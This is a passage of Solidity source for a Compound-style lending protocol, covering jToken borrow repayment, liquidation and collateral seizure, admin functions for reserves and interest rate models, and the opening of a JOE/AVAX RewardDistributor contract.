return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
vars.accountBorrows = borrowBalanceStoredInternal(borrower);
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint256(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount, isNative);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount);
vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// joetroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint256(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this jToken to be liquidated
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param jTokenCollateral The market in which to seize collateral from the borrower
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral,
bool isNative
) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = jTokenCollateral.accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, jTokenCollateral, isNative);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this jToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param jTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(
address liquidator,
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral,
bool isNative
) internal returns (uint256, uint256) {
/* Fail if liquidate not allowed */
uint256 allowed = joetroller.liquidateBorrowAllowed(
address(this),
address(jTokenCollateral),
liquidator,
borrower,
repayAmount
);
if (allowed != 0) {
return (failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.LIQUIDATE_JOETROLLER_REJECTION, allowed), 0);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify jTokenCollateral market's block timestamp equals current block timestamp */
if (jTokenCollateral.accrualBlockTimestamp() != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint256(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint256 repayBorrowError, uint256 actualRepayAmount) = repayBorrowFresh(
liquidator,
borrower,
repayAmount,
isNative
);
if (repayBorrowError != uint256(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint256 amountSeizeError, uint256 seizeTokens) = joetroller.liquidateCalculateSeizeTokens(
address(this),
address(jTokenCollateral),
actualRepayAmount
);
require(amountSeizeError == uint256(Error.NO_ERROR), "LIQUIDATE_JOETROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(jTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint256 seizeError;
if (address(jTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = jTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint256(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(jTokenCollateral), seizeTokens);
/* We call the defense hook */
// unused function
// joetroller.liquidateBorrowVerify(address(this), address(jTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint256(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another jToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed jToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of jTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external nonReentrant returns (uint256) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint256) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets a new joetroller for the market
* @dev Admin function to set a new joetroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setJoetroller(JoetrollerInterface newJoetroller) public returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_JOETROLLER_OWNER_CHECK);
}
JoetrollerInterface oldJoetroller = joetroller;
// Ensure invoke joetroller.isJoetroller() returns true
require(newJoetroller.isJoetroller(), "marker method returned false");
// Set market's joetroller to newJoetroller
joetroller = newJoetroller;
// Emit NewJoetroller(oldJoetroller, newJoetroller)
emit NewJoetroller(oldJoetroller, newJoetroller);
return uint256(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint256 newReserveFactorMantissa) external nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint256 newReserveFactorMantissa) internal returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint256 oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint256 addAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount, isNative);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint256 addAmount, bool isNative) internal returns (uint256, uint256) {
// totalReserves + actualAddAmount
uint256 totalReservesNew;
uint256 actualAddAmount;
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount, isNative);
totalReservesNew = add_(totalReserves, actualAddAmount);
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint256(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint256 reduceAmount) external nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint256 reduceAmount) internal returns (uint256) {
// totalReserves - reduceAmount
uint256 totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = sub_(totalReserves, reduceAmount);
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
// Restrict reducing reserves in native token. Implementations except `JWrappedNative` won't use parameter `isNative`.
doTransferOut(admin, reduceAmount, true);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint256(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint256) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint256(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint256);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(
address from,
uint256 amount,
bool isNative
) internal returns (uint256);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(
address payable to,
uint256 amount,
bool isNative
) internal;
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
*/
function transferTokens(
address spender,
address src,
address dst,
uint256 tokens
) internal returns (uint256);
/**
* @notice Get the account's jToken balances
*/
function getJTokenBalanceInternal(address account) internal view returns (uint256);
/**
* @notice User supplies assets into the market and receives jTokens in exchange
* @dev Assumes interest has already been accrued up to the current timestamp
*/
function mintFresh(
address minter,
uint256 mintAmount,
bool isNative
) internal returns (uint256, uint256);
/**
* @notice User redeems jTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current timestamp
*/
function redeemFresh(
address payable redeemer,
uint256 redeemTokensIn,
uint256 redeemAmountIn,
bool isNative
) internal returns (uint256);
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another JToken.
* Its absolutely critical to use msg.sender as the seizer jToken and not a parameter.
*/
function seizeInternal(
address seizerToken,
address liquidator,
address borrower,
uint256 seizeTokens
) internal returns (uint256);
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
pragma experimental ABIEncoderV2;
contract RewardDistributorStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Active brains of Unitroller
*/
Joetroller public joetroller;
struct RewardMarketState {
/// @notice The market's last updated joeBorrowIndex or joeSupplyIndex
uint224 index;
/// @notice The timestamp number the index was last updated at
uint32 timestamp;
}
/// @notice The portion of reward rate that each market currently receives
mapping(uint8 => mapping(address => uint256)) public rewardSpeeds;
/// @notice The JOE/AVAX market supply state for each market
mapping(uint8 => mapping(address => RewardMarketState)) public rewardSupplyState;
/// @notice The JOE/AVAX market borrow state for each market
mapping(uint8 => mapping(address => RewardMarketState)) public rewardBorrowState;
/// @notice The JOE/AVAX borrow index for each market for each supplier as of the last time they accrued reward
mapping(uint8 => mapping(address => mapping(address => uint256))) public rewardSupplierIndex;
/// @notice The JOE/AVAX borrow index for each market for each borrower as of the last time they accrued reward
mapping(uint8 => mapping(address => mapping(address => uint256))) public rewardBorrowerIndex;
/// @notice The JOE/AVAX accrued but not yet transferred to each user
mapping(uint8 => mapping(address => uint256)) public rewardAccrued;
/// @notice The initial reward index for a market
uint224 public constant rewardInitialIndex = 1e36;
/// @notice JOE token contract address
address public joeAddress;
}
contract RewardDistributor is RewardDistributorStorage, Exponential {
/// @notice Emitted when a new reward speed is calculated for a market
event RewardSpeedUpdated(uint8 rewardType, JToken indexed jToken, uint256 newSpeed);
/// @notice Emitted when JOE/AVAX is distributed to a supplier
event DistributedSupplierReward(
uint8 rewardType,
JToken indexed jToken,
address indexed supplier,
uint256 rewardDelta,
uint256 rewardSupplyIndex
);
/// @notice Emitted when JOE/AVAX is distributed to a borrower
event DistributedBorrowerReward(
uint8 rewardType,
JToken indexed jToken,
address indexed borrower,
uint256 rewardDelta,
uint256 rewardBorrowIndex
);
/// @notice Emitted when JOE is granted by admin
event RewardGranted(uint8 rewardType, address recipient, uint256 amount);
bool private initialized;
constructor() public {
admin = msg.sender;
}
function initialize() public {
require(!initialized, "RewardDistributor already initialized");
joetroller = Joetroller(msg.sender);
initialized = true;
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == address(joetroller);
}
/**
* @notice Set JOE/AVAX speed for a single market
* @param rewardType 0 = QI, 1 = AVAX
* @param jToken The market whose reward speed to update
* @param rewardSpeed New reward speed for market
*/
function _setRewardSpeed(
uint8 rewardType,
JToken jToken,
uint256 rewardSpeed
) public {
require(rewardType <= 1, "rewardType is invalid");
require(adminOrInitializing(), "only admin can set reward speed");
setRewardSpeedInternal(rewardType, jToken, rewardSpeed);
}
/**
* @notice Set JOE/AVAX speed for a single market
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose speed to update
* @param newSpeed New JOE or AVAX speed for market
*/
function setRewardSpeedInternal(
uint8 rewardType,
JToken jToken,
uint256 newSpeed
) internal {
uint256 currentRewardSpeed = rewardSpeeds[rewardType][address(jToken)];
if (currentRewardSpeed != 0) {
// note that JOE speed could be set to 0 to halt liquidity rewards for a market
Exp memory borrowIndex = Exp({mantissa: jToken.borrowIndex()});
updateRewardSupplyIndex(rewardType, address(jToken));
updateRewardBorrowIndex(rewardType, address(jToken), borrowIndex);
} else if (newSpeed != 0) {
// Add the JOE market
require(joetroller.isMarketListed(address(jToken)), "reward market is not listed");
if (
rewardSupplyState[rewardType][address(jToken)].index == 0 &&
rewardSupplyState[rewardType][address(jToken)].timestamp == 0
) {
rewardSupplyState[rewardType][address(jToken)] = RewardMarketState({
index: rewardInitialIndex,
timestamp: safe32(getBlockTimestamp(), "block timestamp exceeds 32 bits")
});
}
if (
rewardBorrowState[rewardType][address(jToken)].index == 0 &&
rewardBorrowState[rewardType][address(jToken)].timestamp == 0
) {
rewardBorrowState[rewardType][address(jToken)] = RewardMarketState({
index: rewardInitialIndex,
timestamp: safe32(getBlockTimestamp(), "block timestamp exceeds 32 bits")
});
}
}
if (currentRewardSpeed != newSpeed) {
rewardSpeeds[rewardType][address(jToken)] = newSpeed;
emit RewardSpeedUpdated(rewardType, jToken, newSpeed);
}
}
/**
* @notice Accrue JOE/AVAX to the market by updating the supply index
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose supply index to update
*/
function updateRewardSupplyIndex(uint8 rewardType, address jToken) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage supplyState = rewardSupplyState[rewardType][jToken];
uint256 supplySpeed = rewardSpeeds[rewardType][jToken];
uint256 blockTimestamp = getBlockTimestamp();
uint256 deltaTimestamps = sub_(blockTimestamp, uint256(supplyState.timestamp));
if (deltaTimestamps > 0 && supplySpeed > 0) {
uint256 supplyTokens = JToken(jToken).totalSupply();
uint256 rewardAccrued = mul_(deltaTimestamps, supplySpeed);
Double memory ratio = supplyTokens > 0 ? fraction(rewardAccrued, supplyTokens) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: supplyState.index}), ratio);
rewardSupplyState[rewardType][jToken] = RewardMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
timestamp: safe32(blockTimestamp, "block timestamp exceeds 32 bits")
});
} else if (deltaTimestamps > 0) {
supplyState.timestamp = safe32(blockTimestamp, "block timestamp exceeds 32 bits");
}
}
/**
* @notice Accrue JOE/AVAX to the market by updating the borrow index
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose borrow index to update
*/
function updateRewardBorrowIndex(
uint8 rewardType,
address jToken,
Exp memory marketBorrowIndex
) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage borrowState = rewardBorrowState[rewardType][jToken];
uint256 borrowSpeed = rewardSpeeds[rewardType][jToken];
uint256 blockTimestamp = getBlockTimestamp();
uint256 deltaTimestamps = sub_(blockTimestamp, uint256(borrowState.timestamp));
if (deltaTimestamps > 0 && borrowSpeed > 0) {
uint256 borrowAmount = div_(JToken(jToken).totalBorrows(), marketBorrowIndex);
uint256 rewardAccrued = mul_(deltaTimestamps, borrowSpeed);
Double memory ratio = borrowAmount > 0 ? fraction(rewardAccrued, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
rewardBorrowState[rewardType][jToken] = RewardMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
timestamp: safe32(blockTimestamp, "block timestamp exceeds 32 bits")
});
} else if (deltaTimestamps > 0) {
borrowState.timestamp = safe32(blockTimestamp, "block timestamp exceeds 32 bits");
}
}
/**
* @notice Calculate JOE/AVAX accrued by a supplier and possibly transfer it to them
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute JOE/AVAX to
*/
function distributeSupplierReward(
uint8 rewardType,
address jToken,
address supplier
) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage supplyState = rewardSupplyState[rewardType][jToken];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({mantissa: rewardSupplierIndex[rewardType][jToken][supplier]});
rewardSupplierIndex[rewardType][jToken][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {
supplierIndex.mantissa = rewardInitialIndex;
}
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint256 supplierTokens = JToken(jToken).balanceOf(supplier);
uint256 supplierDelta = mul_(supplierTokens, deltaIndex);
uint256 supplierAccrued = add_(rewardAccrued[rewardType][supplier], supplierDelta);
rewardAccrued[rewardType][supplier] = supplierAccrued;
emit DistributedSupplierReward(rewardType, JToken(jToken), supplier, supplierDelta, supplyIndex.mantissa);
}
/**
* @notice Calculate JOE/AVAX accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute JOE/AVAX to
*/
function distributeBorrowerReward(
uint8 rewardType,
address jToken,
address borrower,
Exp memory marketBorrowIndex
) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage borrowState = rewardBorrowState[rewardType][jToken];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({mantissa: rewardBorrowerIndex[rewardType][jToken][borrower]});
rewardBorrowerIndex[rewardType][jToken][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint256 borrowerAmount = div_(JToken(jToken).borrowBalanceStored(borrower), marketBorrowIndex);
uint256 borrowerDelta = mul_(borrowerAmount, deltaIndex);
uint256 borrowerAccrued = add_(rewardAccrued[rewardType][borrower], borrowerDelta);
rewardAccrued[rewardType][borrower] = borrowerAccrued;
emit DistributedBorrowerReward(rewardType, JToken(jToken), borrower, borrowerDelta, borrowIndex.mantissa);
}
}
/**
* @notice Refactored function to calc and rewards accounts supplier rewards
* @param jToken The market to verify the mint against
* @param supplier The supplier to be rewarded
*/
function updateAndDistributeSupplierRewardsForToken(address jToken, address supplier) external {
require(adminOrInitializing(), "only admin can update and distribute supplier rewards");
for (uint8 rewardType = 0; rewardType <= 1; rewardType++) {
updateRewardSupplyIndex(rewardType, jToken);
distributeSupplierReward(rewardType, jToken, supplier);
}
}
/**
* @notice Refactored function to calc and rewards accounts supplier rewards
* @param jToken The market to verify the mint against
* @param borrower Borrower to be rewarded
*/
function updateAndDistributeBorrowerRewardsForToken(
address jToken,
address borrower,
Exp calldata marketBorrowIndex
) external {
require(adminOrInitializing(), "only admin can update and distribute borrower rewards");
for (uint8 rewardType = 0; rewardType <= 1; rewardType++) {
updateRewardBorrowIndex(rewardType, jToken, marketBorrowIndex);
distributeBorrowerReward(rewardType, jToken, borrower, marketBorrowIndex);
}
}
/*** User functions ***/
/**
* @notice Claim all the JOE/AVAX accrued by holder in all markets
* @param holder The address to claim JOE/AVAX for
*/
function claimReward(uint8 rewardType, address payable holder) public {
return claimReward(rewardType, holder, joetroller.getAllMarkets());
}
/**
* @notice Claim all the JOE/AVAX accrued by holder in the specified markets
* @param holder The address to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
*/
function claimReward(
uint8 rewardType,
address payable holder,
JToken[] memory jTokens
) public {
address payable[] memory holders = new address payable[](1);
holders[0] = holder;
claimReward(rewardType, holders, jTokens, true, true);
}
/**
* @notice Claim all JOE/AVAX accrued by the holders
* @param rewardType 0 = JOE, 1 = AVAX
* @param holders The addresses to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
